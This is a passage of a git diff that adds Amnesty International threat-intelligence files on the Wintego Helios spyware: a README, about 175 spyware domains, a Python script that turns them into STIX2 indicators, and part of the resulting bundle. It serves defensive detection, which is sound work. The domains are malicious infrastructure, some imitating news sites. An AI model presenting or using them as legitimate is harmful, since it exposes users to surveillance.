"2023-03-29T12:58:45.167253Z", + "relationship_type": "indicates", + "source_ref": "indicator--a1b18665-12e3-4d97-bf76-cbb3da77e5e5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cfcd1761-08f8-49b3-b271-acc1c2936311", + "created": "2023-03-29T12:58:45.167426Z", + "modified": "2023-03-29T12:58:45.167426Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[android-property:name='sys.brand.note']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.167426Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--017c12ed-8e81-4156-9f07-567603f1c84a", + "created": "2023-03-29T12:58:45.168596Z", + "modified": "2023-03-29T12:58:45.168596Z", + "relationship_type": "indicates", + "source_ref": "indicator--cfcd1761-08f8-49b3-b271-acc1c2936311", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e40861f3-f930-4017-a0be-38daac211593", + "created": "2023-03-29T12:58:45.168768Z", + "modified": "2023-03-29T12:58:45.168768Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[android-property:name='sys.brand.doc']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.168768Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3359bd9f-e553-4f22-9a4b-7ce48804524b", + "created": "2023-03-29T12:58:45.169476Z", + "modified": "2023-03-29T12:58:45.169476Z", + "relationship_type": "indicates", + "source_ref": "indicator--e40861f3-f930-4017-a0be-38daac211593", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--902d9f29-54b8-4fc7-af05-efde96c316ec", + "created": "2023-03-29T12:58:45.169654Z", + "modified": "2023-03-29T12:58:45.169654Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[android-property:name='sys.brand.notes']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:45.169654Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5b6be4f8-d40a-4dcd-8153-f12ffc4572cd", + "created": "2023-03-29T12:58:45.170253Z", + "modified": "2023-03-29T12:58:45.170253Z", + "relationship_type": "indicates", + "source_ref": "indicator--902d9f29-54b8-4fc7-af05-efde96c316ec", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + } + ] +} \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/README.md b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/README.md new file mode 100644 index 0000000..fc0679b --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/README.md @@ -0,0 +1,11 @@ +# Wintego Helios Indicators of Compromise + +This repository contains network indicators of compromise (IoCs) related to the Helios spyware developed by cyber-surveillance company Wintego. The Helios spyware is designed to target and compromise Android devices. It is unclear if they spyware is also capable of targeting iPhones. Not the Wintego Helios spyware is unrelated to the *Predator spyware* from Intellexa which has also at times been marketed as *Helios*. + +These indicators were identified through internet scanning and other research efforts by the Amnesty International [Security Lab](https://securitylab.amnesty.org/). More information about Wintego and their spywareproducts can be found in the [A Web of Surveillance](https://securitylab.amnesty.org/latest/2024/05/a-web-of-surveillance/) report which is wider investigation into the sales of [spyware and surveillance products to Indonesia](https://securitylab.amnesty.org/latest/2024/05/global-a-web-of-surveillance-unravelling-a-murky-network-of-spyware-exports-to-indonesia/). + +The STIX2 file can be used with the [Mobile Verification Toolkit](https://github.com/mvt-project/mvt) to look for potential signs of compromise on Android phones and iPhones. + +It includes the following files: + +* `domains.txt`: list of Wintego Helios spyware domains diff --git a/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/domains.txt b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/domains.txt new file mode 100644 index 0000000..d51dd15 --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/domains.txt @@ -0,0 +1,175 @@ +africatech.eu +afrinews.eu +alertanalysis.org +all-life-fitness.org +androidcheckupdate.com +androidsensorfirmware.net +applibraryupdate.network +arninja.eu +astroplanet.org +ateliernow.org +autotechhelp.net +backpackerreviews.org +basketballreviews.org +bbc.bio +bbc.tf +beaconzero.net +bestgeometry.org +bestgreenblog.org +bestsflix.net +biceptech.org +bincoupon.com +bitsinflow.net +biznetforum.eu +blastermaster.eu +boxmaster.org +boxpearl.eu +businesspractice.org +cafelatenow.com +carepile.net +caretechno.net +caronspot.co +cartechnews.net +celltechnollogy.com +cloudysystems.org +cnn.gallery +coffeedirectory.org +computer-repair.org +coolbrandlabs.com +coralspire.net +craftsplex.net +daily-tech.eu +dakaractu.news +daysomega.com +dealsenterprise.com +decofusion.eu +deepearnings.net +designercellular.com +dialrooms.eu +dinnerfit.org +doctorstar.org +draftshape.net +drinksnow.org +driverhacks.net +echoswift.net +ericshop.org +expandingtech.net +expressotelecom.eu +falconstudio.eu +fansclear.net +financeanalyzer.net +fitnessstar.org +flexibilycompany.org +flipcollective.eu +flyrick.net +foodystudio.org +gaincharts.net +gainthepain.com +galaxy-toolkit.net +galaxy-update-check.com +galaxyupdate.network +galaxyupdatecheck.com +gamingtoday.org +getappnion.org +getinstitution.org +gettechnology.org +globalbikeshop.org +gotechtube.com +hikewithmike.eu +hiphopreviews.org +hirecheapcar.com +history-guidance.net +hugetech.org +intech.so +internationalre.org +jeuneafrique.eu +jeuneafrique.news +jotnanews.co +jotnanews.fr +jotnanews.live +laneandco.org +laptoptech.org +lidarfirmwareupdate.network +localsystems.org +lovekitchen.org +loyalpro.org +loyarbox.org +mambaweb.org +maplebook.org +medatcost.co +michealblog.org +misoshiru.eu +mylaylastore.org +netprotector.org +nicetreasures.com +numbersnews.org +oneinfluence.org +onlineshoppingnetwork.org +paperscissors.net +penlife.org +piratetv.org +playerselection.eu +powerway.org +proteinreviews.org +pythonsystems.org +quickfindnow.net +realmac.org +recipeadvice.eu +reordertree.net +restroad.eu +restroad.net +risetech.one +riskdrive.eu +runningmart.org +securefilter.net +selfblank.net +selfhelptech.org +senedroid.net +senego.fr +senego.info +seneweb.eu +seneweb.news +sensomatics.net +serverdetails.click +setupvalue.net +singoffice.net +sodahub.org +solararcade.eu +solargeotech.net +spacevocal.net +sporthome.org +startupfit.org +storm-tech.org +swiftecho.eu +swimaster.org +swimmingcompany.org +syndicationcdn.com +taminessentials.net +techarmys.com +techarmys.net +techdeliver.cc +technarrow.net +ten-group.eu +theholder.org +thesoundyou.org +tiktok.do +tilesget.net +tipvortex.net +topmark24.org +travelow.org +tribunnews.org +triptrick.net +trvelingguide.org +ultrajewelery.net +unlockcredit.net +ups.so +urbanthree.eu +vision-tech.org +waterfit.org +wateringreviews.org +webjars.net +webtechuse.net +whiskytango.net +witquote.com +yachtatdock.com +yogurthome.org diff --git a/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/generate_stix.py b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/generate_stix.py new file mode 100644 index 0000000..770694b --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/generate_stix.py @@ -0,0 +1,24 @@ +import sys +import os +from stix2.v21 import (Indicator, Malware, Relationship, Bundle, DomainName) + + +if __name__ == "__main__": + if os.path.isfile("wintego_helios.stix2"): + os.remove("wintego_helios.stix2") + + with open("domains.txt") as f: + domains = list(set([a.strip() for a in f.read().split()])) + + res = [] + malware = Malware(name="Wintego Helios", is_family=False, description="IOCs related to the Wintego Helios spyware") + res.append(malware) + for d in domains: + i = Indicator(indicator_types=["malicious-activity"], pattern="[domain-name:value='{}']".format(d), pattern_type="stix") + res.append(i) + res.append(Relationship(i, 'indicates', malware)) + + bundle = Bundle(objects=res) + with open("wintego_helios.stix2", "w+") as f: + f.write(bundle.serialize(indent=4)) + print("wintego_helios.stix2 file created") diff --git a/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/wintego_helios.stix2 b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/wintego_helios.stix2 new file mode 100644 index 0000000..cf9a21e --- /dev/null +++ b/data/ioc/spyware/amnesty/2024-05-02_wintego_helios/wintego_helios.stix2 @@ -0,0 +1,4226 @@ +{ + "type": "bundle", + "id": "bundle--78df7596-91e8-415a-95cb-db0f77b2c857", + "objects": [ + { + "type": "malware", + "spec_version": "2.1", + "id": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407", + "created": "2024-05-02T08:36:18.481812Z", + "modified": "2024-05-02T08:36:18.481812Z", + "name": "Wintego Helios", + "description": "IOCs related to the Wintego Helios spyware", + "is_family": false + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--16036c7b-0056-463e-8b67-0cba5c73adbd", + "created": "2024-05-02T08:36:18.481985Z", + "modified": "2024-05-02T08:36:18.481985Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bbc.tf']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.481985Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--e03e3265-de4e-4323-be10-ad57300629b6", + "created": "2024-05-02T08:36:18.486676Z", + "modified": "2024-05-02T08:36:18.486676Z", + "relationship_type": "indicates", + "source_ref": "indicator--16036c7b-0056-463e-8b67-0cba5c73adbd", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6b428cde-e84d-4219-84df-1e3d8ca35e76", + "created": "2024-05-02T08:36:18.487541Z", + "modified": "2024-05-02T08:36:18.487541Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='financeanalyzer.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.487541Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1c66f232-7d57-4bc1-ad29-ad99257436d0", + "created": "2024-05-02T08:36:18.488382Z", + "modified": "2024-05-02T08:36:18.488382Z", + "relationship_type": "indicates", + "source_ref": "indicator--6b428cde-e84d-4219-84df-1e3d8ca35e76", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f97dc76e-5fcc-4ecf-8881-fed78f6c0d8a", + "created": "2024-05-02T08:36:18.488494Z", + "modified": "2024-05-02T08:36:18.488494Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='whiskytango.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.488494Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--042481bb-54c2-4b0b-a5fb-62359ce5dc86", + "created": "2024-05-02T08:36:18.489165Z", + "modified": "2024-05-02T08:36:18.489165Z", + "relationship_type": "indicates", + "source_ref": "indicator--f97dc76e-5fcc-4ecf-8881-fed78f6c0d8a", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ae8c03a4-1185-47c0-8134-30a75967e8f2", + "created": "2024-05-02T08:36:18.48927Z", + "modified": "2024-05-02T08:36:18.48927Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='penlife.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.48927Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--58620e39-c369-467d-9f2b-d393f5afd932", + "created": "2024-05-02T08:36:18.489744Z", + "modified": "2024-05-02T08:36:18.489744Z", + "relationship_type": "indicates", + "source_ref": "indicator--ae8c03a4-1185-47c0-8134-30a75967e8f2", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--177c9d3c-5150-4cda-b2ad-809e003a041c", + "created": "2024-05-02T08:36:18.489845Z", + "modified": "2024-05-02T08:36:18.489845Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gaincharts.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.489845Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9afb89c-8983-4258-929c-4d1921b73d22", + "created": "2024-05-02T08:36:18.490316Z", + "modified": "2024-05-02T08:36:18.490316Z", + "relationship_type": "indicates", + "source_ref": "indicator--177c9d3c-5150-4cda-b2ad-809e003a041c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--125e3842-7de2-4523-be0c-c4470fabae4d", + "created": "2024-05-02T08:36:18.490416Z", + "modified": "2024-05-02T08:36:18.490416Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='galaxyupdatecheck.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.490416Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b48e4efc-73ee-4e4f-ad4b-100242517179", + "created": "2024-05-02T08:36:18.491042Z", + "modified": "2024-05-02T08:36:18.491042Z", + "relationship_type": "indicates", + "source_ref": "indicator--125e3842-7de2-4523-be0c-c4470fabae4d", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--682792ef-95ac-45a2-bcd3-dad74501be82", + "created": "2024-05-02T08:36:18.491141Z", + "modified": "2024-05-02T08:36:18.491141Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='techarmys.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.491141Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9568688b-74a0-41e3-96de-d43a0c46c989", + "created": "2024-05-02T08:36:18.491609Z", + "modified": "2024-05-02T08:36:18.491609Z", + "relationship_type": "indicates", + "source_ref": "indicator--682792ef-95ac-45a2-bcd3-dad74501be82", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7e69bd8d-11a6-4f6e-a409-c21921ac5997", + "created": "2024-05-02T08:36:18.491708Z", + "modified": "2024-05-02T08:36:18.491708Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='decofusion.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.491708Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79fb5f0d-907c-4799-a1ca-f6ff09ffcc34", + "created": "2024-05-02T08:36:18.49217Z", + "modified": "2024-05-02T08:36:18.49217Z", + "relationship_type": "indicates", + "source_ref": "indicator--7e69bd8d-11a6-4f6e-a409-c21921ac5997", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f5a49862-ba98-48f8-861f-0bf449f1f7a0", + "created": "2024-05-02T08:36:18.492268Z", + "modified": "2024-05-02T08:36:18.492268Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='falconstudio.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.492268Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5f7821a1-3a76-4f60-8780-0b52aafa61e4", + "created": "2024-05-02T08:36:18.492766Z", + "modified": "2024-05-02T08:36:18.492766Z", + "relationship_type": "indicates", + "source_ref": "indicator--f5a49862-ba98-48f8-861f-0bf449f1f7a0", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--280489bd-a776-4ccc-af9b-d207a1a5dd6f", + "created": "2024-05-02T08:36:18.492868Z", + "modified": "2024-05-02T08:36:18.492868Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mambaweb.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.492868Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6e775c9-64e9-4ff6-a74e-088d1c9680bd", + "created": "2024-05-02T08:36:18.493379Z", + "modified": "2024-05-02T08:36:18.493379Z", + "relationship_type": "indicates", + "source_ref": "indicator--280489bd-a776-4ccc-af9b-d207a1a5dd6f", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--894accee-43bb-42db-b545-9570dc9e0346", + "created": "2024-05-02T08:36:18.493482Z", + "modified": "2024-05-02T08:36:18.493482Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='gainthepain.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.493482Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27158bcc-de06-4a64-bbab-b6e96b9ddc2d", + "created": "2024-05-02T08:36:18.493901Z", + "modified": "2024-05-02T08:36:18.493901Z", + "relationship_type": "indicates", + "source_ref": "indicator--894accee-43bb-42db-b545-9570dc9e0346", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--94892ba8-393e-46c9-8aba-9359cdd378ba", + "created": "2024-05-02T08:36:18.494001Z", + "modified": "2024-05-02T08:36:18.494001Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='galaxy-toolkit.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.494001Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--7df725c0-4054-4209-aa74-6345d1f6ca38", + "created": "2024-05-02T08:36:18.494473Z", + "modified": "2024-05-02T08:36:18.494473Z", + "relationship_type": "indicates", + "source_ref": "indicator--94892ba8-393e-46c9-8aba-9359cdd378ba", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--71c748df-6635-403e-9987-3f681e8b8349", + "created": "2024-05-02T08:36:18.494571Z", + "modified": "2024-05-02T08:36:18.494571Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bitsinflow.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.494571Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ec03b38-7d0f-47aa-a7db-5a8fa4b657c2", + "created": "2024-05-02T08:36:18.494982Z", + "modified": "2024-05-02T08:36:18.494982Z", + "relationship_type": "indicates", + "source_ref": "indicator--71c748df-6635-403e-9987-3f681e8b8349", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d0ae6a7b-c86f-4bcd-bbb6-6c8af4318bba", + "created": "2024-05-02T08:36:18.495079Z", + "modified": "2024-05-02T08:36:18.495079Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='powerway.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.495079Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--aee97ded-b549-4d35-a83b-f961c2e337ef", + "created": "2024-05-02T08:36:18.495483Z", + "modified": "2024-05-02T08:36:18.495483Z", + "relationship_type": "indicates", + "source_ref": "indicator--d0ae6a7b-c86f-4bcd-bbb6-6c8af4318bba", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4db9b385-e606-40a5-86ac-b680f2436a82", + "created": "2024-05-02T08:36:18.495579Z", + "modified": "2024-05-02T08:36:18.495579Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='webjars.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.495579Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ebe402ab-a46a-4195-b65e-4414f0315295", + "created": "2024-05-02T08:36:18.49604Z", + "modified": "2024-05-02T08:36:18.49604Z", + "relationship_type": "indicates", + "source_ref": "indicator--4db9b385-e606-40a5-86ac-b680f2436a82", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--912501ef-04ee-4847-aadb-288f8eb72363", + "created": "2024-05-02T08:36:18.496138Z", + "modified": "2024-05-02T08:36:18.496138Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dialrooms.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.496138Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a3a86e25-b854-46b9-8468-91caf86a44d6", + "created": "2024-05-02T08:36:18.496563Z", + "modified": "2024-05-02T08:36:18.496563Z", + "relationship_type": "indicates", + "source_ref": "indicator--912501ef-04ee-4847-aadb-288f8eb72363", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9c912b89-351c-446f-a1f2-f4c4c285c266", + "created": "2024-05-02T08:36:18.496664Z", + "modified": "2024-05-02T08:36:18.496664Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='risetech.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.496664Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--70a70533-c822-48f6-afa5-60b772f8abff", + "created": "2024-05-02T08:36:18.497128Z", + "modified": "2024-05-02T08:36:18.497128Z", + "relationship_type": "indicates", + "source_ref": "indicator--9c912b89-351c-446f-a1f2-f4c4c285c266", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9148997f-bcc2-4fe0-9af6-2559bee2a3a4", + "created": "2024-05-02T08:36:18.497226Z", + "modified": "2024-05-02T08:36:18.497226Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tiktok.do']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.497226Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74b8cb85-10e9-44d6-b05f-ac423f78e2a1", + "created": "2024-05-02T08:36:18.497718Z", + "modified": "2024-05-02T08:36:18.497718Z", + "relationship_type": "indicates", + "source_ref": "indicator--9148997f-bcc2-4fe0-9af6-2559bee2a3a4", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac01cdf0-33a4-4e8e-b47d-4b9f9a8e965b", + "created": "2024-05-02T08:36:18.497817Z", + "modified": "2024-05-02T08:36:18.497817Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='laneandco.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.497817Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6e2da02f-720b-4780-9cd7-da41c3ee774e", + "created": "2024-05-02T08:36:18.498282Z", + "modified": "2024-05-02T08:36:18.498282Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac01cdf0-33a4-4e8e-b47d-4b9f9a8e965b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--921f4459-1b9b-47ae-920e-e1711f876e00", + "created": "2024-05-02T08:36:18.49838Z", + "modified": "2024-05-02T08:36:18.49838Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='runningmart.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.49838Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--40f1d38e-f429-4978-9d0c-c0838a55914a", + "created": "2024-05-02T08:36:18.498789Z", + "modified": "2024-05-02T08:36:18.498789Z", + "relationship_type": "indicates", + "source_ref": "indicator--921f4459-1b9b-47ae-920e-e1711f876e00", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--22153deb-86af-4660-b350-c9ee1ae42e7b", + "created": "2024-05-02T08:36:18.498887Z", + "modified": "2024-05-02T08:36:18.498887Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='caretechno.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.498887Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9c9e0c1-70b6-4c5a-b8fa-4a88b4df7397", + "created": "2024-05-02T08:36:18.499346Z", + "modified": "2024-05-02T08:36:18.499346Z", + "relationship_type": "indicates", + "source_ref": "indicator--22153deb-86af-4660-b350-c9ee1ae42e7b", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c63433f5-7637-4c63-90dd-9c51a6724cbb", + "created": "2024-05-02T08:36:18.499444Z", + "modified": "2024-05-02T08:36:18.499444Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boxpearl.eu']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.499444Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--301c00db-87c0-4764-95db-08e5e04b325d", + "created": "2024-05-02T08:36:18.499849Z", + "modified": "2024-05-02T08:36:18.499849Z", + "relationship_type": "indicates", + "source_ref": "indicator--c63433f5-7637-4c63-90dd-9c51a6724cbb", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--05988398-5d12-4520-b757-22eac738847c", + "created": "2024-05-02T08:36:18.499946Z", + "modified": "2024-05-02T08:36:18.499946Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='loyarbox.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.499946Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--59d6b24f-93b3-4cd8-8273-750626b3f2b4", + "created": "2024-05-02T08:36:18.500353Z", + "modified": "2024-05-02T08:36:18.500353Z", + "relationship_type": "indicates", + "source_ref": "indicator--05988398-5d12-4520-b757-22eac738847c", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fff31dd6-9438-40bf-b95e-39c497d318e6", + "created": "2024-05-02T08:36:18.500449Z", + "modified": "2024-05-02T08:36:18.500449Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lovekitchen.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.500449Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--721615f8-c3bc-492e-9f18-dae59d3550be", + "created": "2024-05-02T08:36:18.500911Z", + "modified": "2024-05-02T08:36:18.500911Z", + "relationship_type": "indicates", + "source_ref": "indicator--fff31dd6-9438-40bf-b95e-39c497d318e6", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a05301f3-58e0-460d-8e0d-4f47d5134a38", + "created": "2024-05-02T08:36:18.501009Z", + "modified": "2024-05-02T08:36:18.501009Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='craftsplex.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.501009Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1292e486-4e1c-4f90-aca6-52bb85c441a5", + "created": "2024-05-02T08:36:18.501416Z", + "modified": "2024-05-02T08:36:18.501416Z", + "relationship_type": "indicates", + "source_ref": "indicator--a05301f3-58e0-460d-8e0d-4f47d5134a38", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--547df843-7781-4d89-9858-51f82868a329", + "created": "2024-05-02T08:36:18.501513Z", + "modified": "2024-05-02T08:36:18.501513Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='jotnanews.fr']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2024-05-02T08:36:18.501513Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--658fa581-cbc1-4bf8-ba08-311787782a8a", + "created": "2024-05-02T08:36:18.501965Z", + "modified": "2024-05-02T08:36:18.501965Z", + "relationship_type": "indicates", + "source_ref": "indicator--547df843-7781-4d89-9858-51f82868a329", + "target_ref": "malware--23b781d2-72f8-4d56-a661-a6ee6c7a9407" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": 